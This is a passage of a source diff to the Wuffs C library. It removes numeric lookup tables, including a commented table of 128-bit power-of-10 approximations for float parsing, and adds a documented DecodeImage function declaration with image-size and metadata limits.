5, 4, 4, 3, 2, 3, 2, 0, 5, 9, 4, 7, 8, 7, 5, 9, 7, 6, 5, 6, 2, +- 5, 1, 1, 3, 6, 8, 6, 8, 3, 7, 7, 2, 1, 6, 1, 6, 0, 2, 9, 7, 3, 9, 3, 7, 9, +- 8, 8, 2, 8, 1, 2, 5, 5, 6, 8, 4, 3, 4, 1, 8, 8, 6, 0, 8, 0, 8, 0, 1, 4, 8, +- 6, 9, 6, 8, 9, 9, 4, 1, 4, 0, 6, 2, 5, 2, 8, 4, 2, 1, 7, 0, 9, 4, 3, 0, 4, +- 0, 4, 0, 0, 7, 4, 3, 4, 8, 4, 4, 9, 7, 0, 7, 0, 3, 1, 2, 5, 1, 4, 2, 1, 0, +- 8, 5, 4, 7, 1, 5, 2, 0, 2, 0, 0, 3, 7, 1, 7, 4, 2, 2, 4, 8, 5, 3, 5, 1, 5, +- 6, 2, 5, 7, 1, 0, 5, 4, 2, 7, 3, 5, 7, 6, 0, 1, 0, 0, 1, 8, 5, 8, 7, 1, 1, +- 2, 4, 2, 6, 7, 5, 7, 8, 1, 2, 5, 3, 5, 5, 2, 7, 1, 3, 6, 7, 8, 8, 0, 0, 5, +- 0, 0, 9, 2, 9, 3, 5, 5, 6, 2, 1, 3, 3, 7, 8, 9, 0, 6, 2, 5, 1, 7, 7, 6, 3, +- 5, 6, 8, 3, 9, 4, 0, 0, 2, 5, 0, 4, 6, 4, 6, 7, 7, 8, 1, 0, 6, 6, 8, 9, 4, +- 5, 3, 1, 2, 5, 8, 8, 8, 1, 7, 8, 4, 1, 9, 7, 0, 0, 1, 2, 5, 2, 3, 2, 3, 3, +- 8, 9, 0, 5, 3, 3, 4, 4, 7, 2, 6, 5, 6, 2, 5, 4, 4, 4, 0, 8, 9, 2, 0, 9, 8, +- 5, 0, 0, 6, 2, 6, 1, 6, 1, 6, 9, 4, 5, 2, 6, 6, 7, 2, 3, 6, 3, 2, 8, 1, 2, +- 5, 2, 2, 2, 0, 4, 4, 6, 0, 4, 9, 2, 5, 0, 3, 1, 3, 0, 8, 0, 8, 4, 7, 2, 6, +- 3, 3, 3, 6, 1, 8, 1, 6, 4, 0, 6, 2, 5, 1, 1, 1, 0, 2, 2, 3, 0, 2, 4, 6, 2, +- 5, 1, 5, 6, 5, 4, 0, 4, 2, 3, 6, 3, 1, 6, 6, 8, 0, 9, 0, 8, 2, 0, 3, 1, 2, +- 5, 5, 5, 5, 1, 1, 1, 5, 1, 2, 3, 1, 2, 5, 7, 8, 2, 7, 0, 2, 1, 1, 8, 1, 5, +- 8, 3, 4, 0, 4, 5, 4, 1, 0, 1, 5, 6, 2, 5, 2, 7, 7, 5, 5, 5, 7, 5, 6, 1, 5, +- 6, 2, 8, 9, 1, 3, 5, 1, 0, 5, 9, 0, 7, 9, 1, 7, 0, 2, 2, 7, 0, 5, 0, 7, 8, +- 1, 2, 5, 1, 3, 8, 7, 7, 7, 8, 7, 8, 0, 7, 8, 1, 4, 4, 5, 6, 7, 5, 5, 2, 9, +- 5, 3, 9, 5, 8, 5, 1, 1, 3, 5, 2, 5, 3, 9, 0, 6, 2, 5, 6, 9, 3, 8, 8, 9, 3, +- 9, 0, 3, 9, 0, 7, 2, 2, 8, 3, 7, 7, 6, 4, 7, 6, 9, 7, 9, 2, 5, 5, 6, 7, 6, +- 2, 6, 9, 5, 3, 1, 2, 5, 3, 4, 6, 9, 4, 4, 6, 9, 5, 1, 9, 5, 3, 6, 1, 4, 1, +- 8, 8, 8, 2, 3, 8, 4, 8, 9, 6, 2, 7, 8, 3, 8, 1, 3, 4, 7, 6, 5, 6, 2, 5, 1, +- 7, 3, 4, 7, 2, 3, 4, 7, 5, 9, 7, 6, 8, 0, 7, 0, 9, 4, 4, 1, 1, 9, 2, 4, 4, +- 8, 1, 3, 9, 1, 9, 0, 6, 7, 3, 8, 2, 8, 1, 2, 5, 8, 6, 7, 3, 6, 1, 7, 3, 7, +- 9, 8, 8, 4, 0, 3, 5, 4, 7, 2, 0, 5, 9, 6, 2, 2, 4, 0, 6, 9, 5, 9, 5, 3, 3, +- 6, 9, 1, 4, 0, 6, 2, 5, +-}; ++// The background_color is used to fill the pixel buffer after ++// callbacks.AllocPixbuf returns, if it is valid in the ++// wuffs_base__color_u32_argb_premul__is_valid sense. The default value, ++// 0x0000_0001, is not valid since its Blue channel value (0x01) is greater ++// than its Alpha channel value (0x00). A valid background_color will typically ++// be overwritten when pixel_blend is WUFFS_BASE__PIXEL_BLEND__SRC, but might ++// still be visible on partial (not total) success or when pixel_blend is ++// WUFFS_BASE__PIXEL_BLEND__SRC_OVER and the decoded image is not fully opaque. ++// ++// Decoding fails (with DecodeImage_MaxInclDimensionExceeded) if the image's ++// width or height is greater than max_incl_dimension or if any opted-in (via ++// flags bits) metadata is longer than max_incl_metadata_length. ++DecodeImageResult // ++DecodeImage(DecodeImageCallbacks& callbacks, ++ sync_io::Input& input, ++ DecodeImageArgQuirks quirks = DecodeImageArgQuirks::DefaultValue(), ++ DecodeImageArgFlags flags = DecodeImageArgFlags::DefaultValue(), ++ DecodeImageArgPixelBlend pixel_blend = ++ DecodeImageArgPixelBlend::DefaultValue(), ++ DecodeImageArgBackgroundColor background_color = ++ DecodeImageArgBackgroundColor::DefaultValue(), ++ DecodeImageArgMaxInclDimension max_incl_dimension = ++ DecodeImageArgMaxInclDimension::DefaultValue(), ++ DecodeImageArgMaxInclMetadataLength max_incl_metadata_length = ++ DecodeImageArgMaxInclMetadataLength::DefaultValue()); + +-// -------- ++} // namespace wuffs_aux + +-// wuffs_base__private_implementation__powers_of_10 contains truncated +-// approximations to the powers of 10, ranging from 1e-307 to 1e+288 inclusive, +-// as 596 pairs of uint64_t values (a 128-bit mantissa). +-// +-// There's also an implicit third column (implied by a linear formula involving +-// the base-10 exponent) that is the base-2 exponent, biased by a magic +-// constant. That constant (1214 or 0x04BE) equals 1023 + 191. 1023 is the bias +-// for IEEE 754 double-precision floating point. 191 is ((3 * 64) - 1) and +-// wuffs_base__private_implementation__parse_number_f64_eisel_lemire works with +-// multiples-of-64-bit mantissas. +-// +-// For example, the third row holds the approximation to 1e-305: +-// 0xE0B62E29_29ABA83C_331ACDAB_FE94DE87 * (2 ** (0x0049 - 0x04BE)) +-// +-// Similarly, 1e+4 is approximated by: +-// 0x9C400000_00000000_00000000_00000000 * (2 ** (0x044C - 0x04BE)) +-// +-// Similarly, 1e+68 is approximated by: +-// 0xED63A231_D4C4FB27_4CA7AAA8_63EE4BDD * (2 ** (0x0520 - 0x04BE)) +-// +-// This table was generated by by script/print-mpb-powers-of-10.go +-static const uint64_t wuffs_base__private_implementation__powers_of_10[596][2] = +- { +- {0xA5D3B6D479F8E056, 0x8FD0C16206306BAB}, // 1e-307 +- {0x8F48A4899877186C, 0xB3C4F1BA87BC8696}, // 1e-306 +- {0x331ACDABFE94DE87, 0xE0B62E2929ABA83C}, // 1e-305 +- {0x9FF0C08B7F1D0B14, 0x8C71DCD9BA0B4925}, // 1e-304 +- {0x07ECF0AE5EE44DD9, 0xAF8E5410288E1B6F}, // 1e-303 +- {0xC9E82CD9F69D6150, 0xDB71E91432B1A24A}, // 1e-302 +- {0xBE311C083A225CD2, 0x892731AC9FAF056E}, // 1e-301 +- {0x6DBD630A48AAF406, 0xAB70FE17C79AC6CA}, // 1e-300 +- {0x092CBBCCDAD5B108, 0xD64D3D9DB981787D}, // 1e-299 +- {0x25BBF56008C58EA5, 0x85F0468293F0EB4E}, // 1e-298 +- {0xAF2AF2B80AF6F24E, 0xA76C582338ED2621}, // 1e-297 +- {0x1AF5AF660DB4AEE1, 0xD1476E2C07286FAA}, // 1e-296 +- {0x50D98D9FC890ED4D, 0x82CCA4DB847945CA}, // 1e-295 +- {0xE50FF107BAB528A0, 0xA37FCE126597973C}, // 1e-294 +- {0x1E53ED49A96272C8, 0xCC5FC196FEFD7D0C}, // 1e-293 +- {0x25E8E89C13BB0F7A, 0xFF77B1FCBEBCDC4F}, // 1e-292 +- {0x77B191618C54E9AC, 0x9FAACF3DF73609B1}, // 1e-291 +- {0xD59DF5B9EF6A2417, 0xC795830D75038C1D}, // 1e-290 +- {0x4B0573286B44AD1D, 0xF97AE3D0D2446F25}, // 1e-289 +- {0x4EE367F9430AEC32, 0x9BECCE62836AC577}, // 1e-288 +- {0x229C41F793CDA73F, 0xC2E801FB244576D5}, // 1e-287 +- {0x6B43527578C1110F, 0xF3A20279ED56D48A}, // 1e-286 +- {0x830A13896B78AAA9, 0x9845418C345644D6}, // 1e-285 +- {0x23CC986BC656D553, 0xBE5691EF416BD60C}, // 1e-284 +- {0x2CBFBE86B7EC8AA8, 0xEDEC366B11C6CB8F}, // 1e-283 +- {0x7BF7D71432F3D6A9, 0x94B3A202EB1C3F39}, // 1e-282 +- {0xDAF5CCD93FB0CC53, 0xB9E08A83A5E34F07}, // 1e-281 +- {0xD1B3400F8F9CFF68, 0xE858AD248F5C22C9}, // 1e-280 +- {0x23100809B9C21FA1, 0x91376C36D99995BE}, // 1e-279 +- {0xABD40A0C2832A78A, 0xB58547448FFFFB2D}, // 1e-278 +- {0x16C90C8F323F516C, 0xE2E69915B3FFF9F9}, // 1e-277 +- {0xAE3DA7D97F6792E3, 0x8DD01FAD907FFC3B}, // 1e-276 +- {0x99CD11CFDF41779C, 0xB1442798F49FFB4A}, // 1e-275 +- {0x40405643D711D583, 0xDD95317F31C7FA1D}, // 1e-274 +- {0x482835EA666B2572, 0x8A7D3EEF7F1CFC52}, // 1e-273 +- {0xDA3243650005EECF, 0xAD1C8EAB5EE43B66}, // 1e-272 +- {0x90BED43E40076A82, 0xD863B256369D4A40}, // 1e-271 +- {0x5A7744A6E804A291, 0x873E4F75E2224E68}, // 1e-270 +- {0x711515D0A205CB36, 0xA90DE3535AAAE202}, // 1e-269 +- {0x0D5A5B44CA873E03, 0xD3515C2831559A83}, // 1e-268 +- {0xE858790AFE9486C2, 0x8412D9991ED58091}, // 1e-267 +- {0x626E974DBE39A872, 0xA5178FFF668AE0B6}, // 1e-266 +- {0xFB0A3D212DC8128F, 0xCE5D73FF402D98E3}, // 1e-265 +- {0x7CE66634BC9D0B99, 0x80FA687F881C7F8E}, // 1e-264 +- {0x1C1FFFC1EBC44E80, 0xA139029F6A239F72}, // 1e-263 +- {0xA327FFB266B56220, 0xC987434744AC874E}, // 1e-262 +- {0x4BF1FF9F0062BAA8, 0xFBE9141915D7A922}, // 1e-261 +- {0x6F773FC3603DB4A9, 0x9D71AC8FADA6C9B5}, // 1e-260 +- {0xCB550FB4384D21D3, 0xC4CE17B399107C22}, // 1e-259 +- {0x7E2A53A146606A48, 0xF6019DA07F549B2B}, // 1e-258 +- {0x2EDA7444CBFC426D, 0x99C102844F94E0FB}, // 1e-257 +- {0xFA911155FEFB5308, 0xC0314325637A1939}, // 1e-256 +- {0x793555AB7EBA27CA, 0xF03D93EEBC589F88}, // 1e-255 +- {0x4BC1558B2F3458DE, 0x96267C7535B763B5}, // 1e-254 +- {0x9EB1AAEDFB016F16, 0xBBB01B9283253CA2}, // 1e-253 +- {0x465E15A979C1CADC, 0xEA9C227723EE8BCB}, // 1e-252 +- {0x0BFACD89EC191EC9, 0x92A1958A7675175F}, // 1e-251 +- {0xCEF980EC671F667B, 0xB749FAED14125D36}, // 1e-250 +- {0x82B7E12780E7401A, 0xE51C79A85916F484}, // 1e-249 +- {0xD1B2ECB8B0908810, 0x8F31CC0937AE58D2}, // 1e-248 +- {0x861FA7E6DCB4AA15, 0xB2FE3F0B8599EF07}, // 1e-247 +- {0x67A791E093E1D49A, 0xDFBDCECE67006AC9}, // 1e-246 +- {0xE0C8BB2C5C6D24E0, 0x8BD6A141006042BD}, // 1e-245 +- {0x58FAE9F773886E18, 0xAECC49914078536D}, // 1e-244 +- {0xAF39A475506A899E, 0xDA7F5BF590966848}, // 1e-243 +- {0x6D8406C952429603, 0x888F99797A5E012D}, // 1e-242 +- {0xC8E5087BA6D33B83, 0xAAB37FD7D8F58178}, // 1e-241 +- {0xFB1E4A9A90880A64, 0xD5605FCDCF32E1D6}, // 1e-240 +- {0x5CF2EEA09A55067F, 0x855C3BE0A17FCD26}, // 1e-239 +- {0xF42FAA48C0EA481E, 0xA6B34AD8C9DFC06F}, // 1e-238 +- {0xF13B94DAF124DA26, 0xD0601D8EFC57B08B}, // 1e-237 +- {0x76C53D08D6B70858, 0x823C12795DB6CE57}, // 1e-236 +- {0x54768C4B0C64CA6E, 0xA2CB1717B52481ED}, // 1e-235 +- {0xA9942F5DCF7DFD09, 0xCB7DDCDDA26DA268}, // 1e-234 +- {0xD3F93B35435D7C4C, 0xFE5D54150B090B02}, // 1e-233 +- {0xC47BC5014A1A6DAF, 0x9EFA548D26E5A6E1}, // 1e-232 +- {0x359AB6419CA1091B, 0xC6B8E9B0709F109A}, // 1e-231 +- {0xC30163D203C94B62, 0xF867241C8CC6D4C0}, // 1e-230 +- {0x79E0DE63425DCF1D, 0x9B407691D7FC44F8}, // 1e-229 +- {0x985915FC12F542E4, 0xC21094364DFB5636}, // 1e-228 +- {0x3E6F5B7B17B2939D, 0xF294B943E17A2BC4}, // 1e-227 +- {0xA705992CEECF9C42, 0x979CF3CA6CEC5B5A}, // 1e-226 +- {0x50C6FF782A838353, 0xBD8430BD08277231}, // 1e-225 +- {0xA4F8BF5635246428, 0xECE53CEC4A314EBD}, // 1e-224 +- {0x871B7795E136BE99, 0x940F4613AE5ED136}, // 1e-223 +- {0x28E2557B59846E3F, 0xB913179899F68584}, // 1e-222 +- {0x331AEADA2FE589CF, 0xE757DD7EC07426E5}, // 1e-221 +- {0x3FF0D2C85DEF7621, 0x9096EA6F3848984F}, // 1e-220 +- {0x0FED077A756B53A9, 0xB4BCA50B065ABE63}, // 1e-219 +- {0xD3E8495912C62894, 0xE1EBCE4DC7F16DFB}, // 1e-218 +- {0x64712DD7ABBBD95C, 0x8D3360F09CF6E4BD}, // 1e-217 +- {0xBD8D794D96AACFB3, 0xB080392CC4349DEC}, // 1e-216 +- {0xECF0D7A0FC5583A0, 0xDCA04777F541C567}, // 1e-215 +- {0xF41686C49DB57244, 0x89E42CAAF9491B60}, // 1e-214 +- {0x311C2875C522CED5, 0xAC5D37D5B79B6239}, // 1e-213 +- {0x7D633293366B828B, 0xD77485CB25823AC7}, // 1e-212 +- {0xAE5DFF9C02033197, 0x86A8D39EF77164BC}, // 1e-211 +- {0xD9F57F830283FDFC, 0xA8530886B54DBDEB}, // 1e-210 +- {0xD072DF63C324FD7B, 0xD267CAA862A12D66}, // 1e-209 +- {0x4247CB9E59F71E6D, 0x8380DEA93DA4BC60}, // 1e-208 +- {0x52D9BE85F074E608, 0xA46116538D0DEB78}, // 1e-207 +- {0x67902E276C921F8B, 0xCD795BE870516656}, // 1e-206 +- {0x00BA1CD8A3DB53B6, 0x806BD9714632DFF6}, // 1e-205 +- {0x80E8A40ECCD228A4, 0xA086CFCD97BF97F3}, // 1e-204 +- {0x6122CD128006B2CD, 0xC8A883C0FDAF7DF0}, // 1e-203 +- {0x796B805720085F81, 0xFAD2A4B13D1B5D6C}, // 1e-202 +- {0xCBE3303674053BB0, 0x9CC3A6EEC6311A63}, // 1e-201 +- {0xBEDBFC4411068A9C, 0xC3F490AA77BD60FC}, // 1e-200 +- {0xEE92FB5515482D44, 0xF4F1B4D515ACB93B}, // 1e-199 +- {0x751BDD152D4D1C4A, 0x991711052D8BF3C5}, // 1e-198 +- {0xD262D45A78A0635D, 0xBF5CD54678EEF0B6}, // 1e-197 +- {0x86FB897116C87C34, 0xEF340A98172AACE4}, // 1e-196 +- {0xD45D35E6AE3D4DA0, 0x9580869F0E7AAC0E}, // 1e-195 +- {0x8974836059CCA109, 0xBAE0A846D2195712}, // 1e-194 +- {0x2BD1A438703FC94B, 0xE998D258869FACD7}, // 1e-193 +- {0x7B6306A34627DDCF, 0x91FF83775423CC06}, // 1e-192 +- {0x1A3BC84C17B1D542, 0xB67F6455292CBF08}, // 1e-191 +- {0x20CABA5F1D9E4A93, 0xE41F3D6A7377EECA}, // 1e-190 +- {0x547EB47B7282EE9C, 0x8E938662882AF53E}, // 1e-189 +- {0xE99E619A4F23AA43, 0xB23867FB2A35B28D}, // 1e-188 +- {0x6405FA00E2EC94D4, 0xDEC681F9F4C31F31}, // 1e-187 +- {0xDE83BC408DD3DD04, 0x8B3C113C38F9F37E}, // 1e-186 +- {0x9624AB50B148D445, 0xAE0B158B4738705E}, // 1e-185 +- {0x3BADD624DD9B0957, 0xD98DDAEE19068C76}, // 1e-184 +- {0xE54CA5D70A80E5D6, 0x87F8A8D4CFA417C9}, // 1e-183 +- {0x5E9FCF4CCD211F4C, 0xA9F6D30A038D1DBC}, // 1e-182 +- {0x7647C3200069671F, 0xD47487CC8470652B}, // 1e-181 +- {0x29ECD9F40041E073, 0x84C8D4DFD2C63F3B}, // 1e-180 +- {0xF468107100525890, 0xA5FB0A17C777CF09}, // 1e-179 +- {0x7182148D4066EEB4, 0xCF79CC9DB955C2CC}, // 1e-178 +- {0xC6F14CD848405530, 0x81AC1FE293D599BF}, // 1e-177 +- {0xB8ADA00E5A506A7C, 0xA21727DB38CB002F}, // 1e-176 +- {0xA6D90811F0E4851C, 0xCA9CF1D206FDC03B}, // 1e-175 +- {0x908F4A166D1DA663, 0xFD442E4688BD304A}, // 1e-174 +- {0x9A598E4E043287FE, 0x9E4A9CEC15763E2E}, // 1e-173 +- {0x40EFF1E1853F29FD, 0xC5DD44271AD3CDBA}, // 1e-172 +- {0xD12BEE59E68EF47C, 0xF7549530E188C128}, // 1e-171 +- {0x82BB74F8301958CE, 0x9A94DD3E8CF578B9}, // 1e-170 +- {0xE36A52363C1FAF01, 0xC13A148E3032D6E7}, // 1e-169 +- {0xDC44E6C3CB279AC1, 0xF18899B1BC3F8CA1}, // 1e-168 +- {0x29AB103A5EF8C0B9, 0x96F5600F15A7B7E5}, // 1e-167 +- {0x7415D448F6B6F0E7, 0xBCB2B812DB11A5DE}, // 1e-166 +- {0x111B495B3464AD21, 0xEBDF661791D60F56}, // 1e-165 +- {0xCAB10DD900BEEC34, 0x936B9FCEBB25C995}, // 1e-164 +- {0x3D5D514F40EEA742, 0xB84687C269EF3BFB}, // 1e-163 +- {0x0CB4A5A3112A5112, 0xE65829B3046B0AFA}, // 1e-162 +- {0x47F0E785EABA72AB, 0x8FF71A0FE2C2E6DC}, // 1e-161 +- {0x59ED216765690F56, 0xB3F4E093DB73A093}, // 1e-160 +- {0x306869C13EC3532C, 0xE0F218B8D25088B8}, // 1e-159 +- {0x1E414218C73A13FB, 0x8C974F7383725573}, // 1e-158 +- {0xE5D1929EF90898FA, 0xAFBD2350644EEACF}, // 1e-157 +- {0xDF45F746B74ABF39, 0xDBAC6C247D62A583}, // 1e-156 +- {0x6B8BBA8C328EB783, 0x894BC396CE5DA772}, // 1e-155 +- {0x066EA92F3F326564, 0xAB9EB47C81F5114F}, // 1e-154 +- {0xC80A537B0EFEFEBD, 0xD686619BA27255A2}, // 1e-153 +- {0xBD06742CE95F5F36, 0x8613FD0145877585}, // 1e-152 +- {0x2C48113823B73704, 0xA798FC4196E952E7}, // 1e-151 +- {0xF75A15862CA504C5, 0xD17F3B51FCA3A7A0}, // 1e-150 +- {0x9A984D73DBE722FB, 0x82EF85133DE648C4}, // 1e-149 +- {0xC13E60D0D2E0EBBA, 0xA3AB66580D5FDAF5}, // 1e-148 +- {0x318DF905079926A8, 0xCC963FEE10B7D1B3}, // 1e-147 +- {0xFDF17746497F7052, 0xFFBBCFE994E5C61F}, // 1e-146 +- {0xFEB6EA8BEDEFA633, 0x9FD561F1FD0F9BD3}, // 1e-145 +- {0xFE64A52EE96B8FC0, 0xC7CABA6E7C5382C8}, // 1e-144 +- {0x3DFDCE7AA3C673B0, 0xF9BD690A1B68637B}, // 1e-143 +- {0x06BEA10CA65C084E, 0x9C1661A651213E2D}, // 1e-142 +- {0x486E494FCFF30A62, 0xC31BFA0FE5698DB8}, // 1e-141 +- {0x5A89DBA3C3EFCCFA, 0xF3E2F893DEC3F126}, // 1e-140 +- {0xF89629465A75E01C, 0x986DDB5C6B3A76B7}, // 1e-139 +- {0xF6BBB397F1135823, 0xBE89523386091465}, // 1e-138 +- {0x746AA07DED582E2C, 0xEE2BA6C0678B597F}, // 1e-137 +- {0xA8C2A44EB4571CDC, 0x94DB483840B717EF}, // 1e-136 +- {0x92F34D62616CE413, 0xBA121A4650E4DDEB}, // 1e-135 +- {0x77B020BAF9C81D17, 0xE896A0D7E51E1566}, // 1e-134 +- {0x0ACE1474DC1D122E, 0x915E2486EF32CD60}, // 1e-133 +- {0x0D819992132456BA, 0xB5B5ADA8AAFF80B8}, // 1e-132 +- {0x10E1FFF697ED6C69, 0xE3231912D5BF60E6}, // 1e-131 +- {0xCA8D3FFA1EF463C1, 0x8DF5EFABC5979C8F}, // 1e-130 +- {0xBD308FF8A6B17CB2, 0xB1736B96B6FD83B3}, // 1e-129 +- {0xAC7CB3F6D05DDBDE, 0xDDD0467C64BCE4A0}, // 1e-128 +- {0x6BCDF07A423AA96B, 0x8AA22C0DBEF60EE4}, // 1e-127 +- {0x86C16C98D2C953C6, 0xAD4AB7112EB3929D}, // 1e-126 +- {0xE871C7BF077BA8B7, 0xD89D64D57A607744}, // 1e-125 +- {0x11471CD764AD4972, 0x87625F056C7C4A8B}, // 1e-124 +- {0xD598E40D3DD89BCF, 0xA93AF6C6C79B5D2D}, // 1e-123 +- {0x4AFF1D108D4EC2C3, 0xD389B47879823479}, // 1e-122 +- {0xCEDF722A585139BA, 0x843610CB4BF160CB}, // 1e-121 +- {0xC2974EB4EE658828, 0xA54394FE1EEDB8FE}, // 1e-120 +- {0x733D226229FEEA32, 0xCE947A3DA6A9273E}, // 1e-119 +- {0x0806357D5A3F525F, 0x811CCC668829B887}, // 1e-118 +- {0xCA07C2DCB0CF26F7, 0xA163FF802A3426A8}, // 1e-117 +- {0xFC89B393DD02F0B5, 0xC9BCFF6034C13052}, // 1e-116 +- {0xBBAC2078D443ACE2, 0xFC2C3F3841F17C67}, // 1e-115 +- {0xD54B944B84AA4C0D, 0x9D9BA7832936EDC0}, // 1e-114 +- {0x0A9E795E65D4DF11, 0xC5029163F384A931}, // 1e-113 +- {0x4D4617B5FF4A16D5, 0xF64335BCF065D37D}, // 1e-112 +- {0x504BCED1BF8E4E45, 0x99EA0196163FA42E}, // 1e-111 +- {0xE45EC2862F71E1D6, 0xC06481FB9BCF8D39}, // 1e-110 +- {0x5D767327BB4E5A4C, 0xF07DA27A82C37088}, // 1e-109 +- {0x3A6A07F8D510F86F, 0x964E858C91BA2655}, // 1e-108 +- {0x890489F70A55368B, 0xBBE226EFB628AFEA}, // 1e-107 +- {0x2B45AC74CCEA842E, 0xEADAB0ABA3B2DBE5}, // 1e-106 +- {0x3B0B8BC90012929D, 0x92C8AE6B464FC96F}, // 1e-105 +- {0x09CE6EBB40173744, 0xB77ADA0617E3BBCB}, // 1e-104 +- {0xCC420A6A101D0515, 0xE55990879DDCAABD}, // 1e-103 +- {0x9FA946824A12232D, 0x8F57FA54C2A9EAB6}, // 1e-102 +- {0x47939822DC96ABF9, 0xB32DF8E9F3546564}, // 1e-101 +- {0x59787E2B93BC56F7, 0xDFF9772470297EBD}, // 1e-100 +- {0x57EB4EDB3C55B65A, 0x8BFBEA76C619EF36}, // 1e-99 +- {0xEDE622920B6B23F1, 0xAEFAE51477A06B03}, // 1e-98 +- {0xE95FAB368E45ECED, 0xDAB99E59958885C4}, // 1e-97 +- {0x11DBCB0218EBB414, 0x88B402F7FD75539B}, // 1e-96 +- {0xD652BDC29F26A119, 0xAAE103B5FCD2A881}, // 1e-95 +- {0x4BE76D3346F0495F, 0xD59944A37C0752A2}, // 1e-94 +- {0x6F70A4400C562DDB, 0x857FCAE62D8493A5}, // 1e-93 +- {0xCB4CCD500F6BB952, 0xA6DFBD9FB8E5B88E}, // 1e-92 +- {0x7E2000A41346A7A7, 0xD097AD07A71F26B2}, // 1e-91 +- {0x8ED400668C0C28C8, 0x825ECC24C873782F}, // 1e-90 +- {0x728900802F0F32FA, 0xA2F67F2DFA90563B}, // 1e-89 +- {0x4F2B40A03AD2FFB9, 0xCBB41EF979346BCA}, // 1e-88 +- {0xE2F610C84987BFA8, 0xFEA126B7D78186BC}, // 1e-87 +- {0x0DD9CA7D2DF4D7C9, 0x9F24B832E6B0F436}, // 1e-86 +- {0x91503D1C79720DBB, 0xC6EDE63FA05D3143}, // 1e-85 +- {0x75A44C6397CE912A, 0xF8A95FCF88747D94}, // 1e-84 +- {0xC986AFBE3EE11ABA, 0x9B69DBE1B548CE7C}, // 1e-83 +- {0xFBE85BADCE996168, 0xC24452DA229B021B}, // 1e-82 +- {0xFAE27299423FB9C3, 0xF2D56790AB41C2A2}, // 1e-81 +- {0xDCCD879FC967D41A, 0x97C560BA6B0919A5}, // 1e-80 +- {0x5400E987BBC1C920, 0xBDB6B8E905CB600F}, // 1e-79 +- {0x290123E9AAB23B68, 0xED246723473E3813}, // 1e-78 +- {0xF9A0B6720AAF6521, 0x9436C0760C86E30B}, // 1e-77 +- {0xF808E40E8D5B3E69, 0xB94470938FA89BCE}, // 1e-76 +- {0xB60B1D1230B20E04, 0xE7958CB87392C2C2}, // 1e-75 +- {0xB1C6F22B5E6F48C2, 0x90BD77F3483BB9B9}, // 1e-74 +- {0x1E38AEB6360B1AF3, 0xB4ECD5F01A4AA828}, // 1e-73 +- {0x25C6DA63C38DE1B0, 0xE2280B6C20DD5232}, // 1e-72 +- {0x579C487E5A38AD0E, 0x8D590723948A535F}, // 1e-71 +- {0x2D835A9DF0C6D851, 0xB0AF48EC79ACE837}, // 1e-70 +- {0xF8E431456CF88E65, 0xDCDB1B2798182244}, // 1e-69 +- {0x1B8E9ECB641B58FF, 0x8A08F0F8BF0F156B}, // 1e-68 +- {0xE272467E3D222F3F, 0xAC8B2D36EED2DAC5}, // 1e-67 +- {0x5B0ED81DCC6ABB0F, 0xD7ADF884AA879177}, // 1e-66 +- {0x98E947129FC2B4E9, 0x86CCBB52EA94BAEA}, // 1e-65 +- {0x3F2398D747B36224, 0xA87FEA27A539E9A5}, // 1e-64 +- {0x8EEC7F0D19A03AAD, 0xD29FE4B18E88640E}, // 1e-63 +- {0x1953CF68300424AC, 0x83A3EEEEF9153E89}, // 1e-62 +- {0x5FA8C3423C052DD7, 0xA48CEAAAB75A8E2B}, // 1e-61 +- {0x3792F412CB06794D, 0xCDB02555653131B6}, // 1e-60 +- {0xE2BBD88BBEE40BD0, 0x808E17555F3EBF11}, // 1e-59 +- {0x5B6ACEAEAE9D0EC4, 0xA0B19D2AB70E6ED6}, // 1e-58 +- {0xF245825A5A445275, 0xC8DE047564D20A8B}, // 1e-57 +- {0xEED6E2F0F0D56712, 0xFB158592BE068D2E}, // 1e-56 +- {0x55464DD69685606B, 0x9CED737BB6C4183D}, // 1e-55 +- {0xAA97E14C3C26B886, 0xC428D05AA4751E4C}, // 1e-54 +- {0xD53DD99F4B3066A8, 0xF53304714D9265DF}, // 1e-53 +- {0xE546A8038EFE4029, 0x993FE2C6D07B7FAB}, // 1e-52 +- {0xDE98520472BDD033, 0xBF8FDB78849A5F96}, // 1e-51 +- {0x963E66858F6D4440, 0xEF73D256A5C0F77C}, // 1e-50 +- {0xDDE7001379A44AA8, 0x95A8637627989AAD}, // 1e-49 +- {0x5560C018580D5D52, 0xBB127C53B17EC159}, // 1e-48 +- {0xAAB8F01E6E10B4A6, 0xE9D71B689DDE71AF}, // 1e-47 +- {0xCAB3961304CA70E8, 0x9226712162AB070D}, // 1e-46 +- {0x3D607B97C5FD0D22, 0xB6B00D69BB55C8D1}, // 1e-45 +- {0x8CB89A7DB77C506A, 0xE45C10C42A2B3B05}, // 1e-44 +- {0x77F3608E92ADB242, 0x8EB98A7A9A5B04E3}, // 1e-43 +- {0x55F038B237591ED3, 0xB267ED1940F1C61C}, // 1e-42 +- {0x6B6C46DEC52F6688, 0xDF01E85F912E37A3}, // 1e-41 +- {0x2323AC4B3B3DA015, 0x8B61313BBABCE2C6}, // 1e-40 +- {0xABEC975E0A0D081A, 0xAE397D8AA96C1B77}, // 1e-39 +- {0x96E7BD358C904A21, 0xD9C7DCED53C72255}, // 1e-38 +- {0x7E50D64177DA2E54, 0x881CEA14545C7575}, // 1e-37 +- {0xDDE50BD1D5D0B9E9, 0xAA242499697392D2}, // 1e-36 +- {0x955E4EC64B44E864, 0xD4AD2DBFC3D07787}, // 1e-35 +- {0xBD5AF13BEF0B113E, 0x84EC3C97DA624AB4}, // 1e-34 +- {0xECB1AD8AEACDD58E, 0xA6274BBDD0FADD61}, // 1e-33 +- {0x67DE18EDA5814AF2, 0xCFB11EAD453994BA}, // 1e-32 +- {0x80EACF948770CED7, 0x81CEB32C4B43FCF4}, // 1e-31 +- {0xA1258379A94D028D, 0xA2425FF75E14FC31}, // 1e-30 +- {0x096EE45813A04330, 0xCAD2F7F5359A3B3E}, // 1e-29 +- {0x8BCA9D6E188853FC, 0xFD87B5F28300CA0D}, // 1e-28 +- {0x775EA264CF55347D, 0x9E74D1B791E07E48}, // 1e-27 +- {0x95364AFE032A819D, 0xC612062576589DDA}, // 1e-26 +- {0x3A83DDBD83F52204, 0xF79687AED3EEC551}, // 1e-25 +- {0xC4926A9672793542, 0x9ABE14CD44753B52}, // 1e-24 +- {0x75B7053C0F178293, 0xC16D9A0095928A27}, // 1e-23 +- {0x5324C68B12DD6338, 0xF1C90080BAF72CB1}, // 1e-22 +- {0xD3F6FC16EBCA5E03, 0x971DA05074DA7BEE}, // 1e-21 +- {0x88F4BB1CA6BCF584, 0xBCE5086492111AEA}, // 1e-20 +- {0x2B31E9E3D06C32E5, 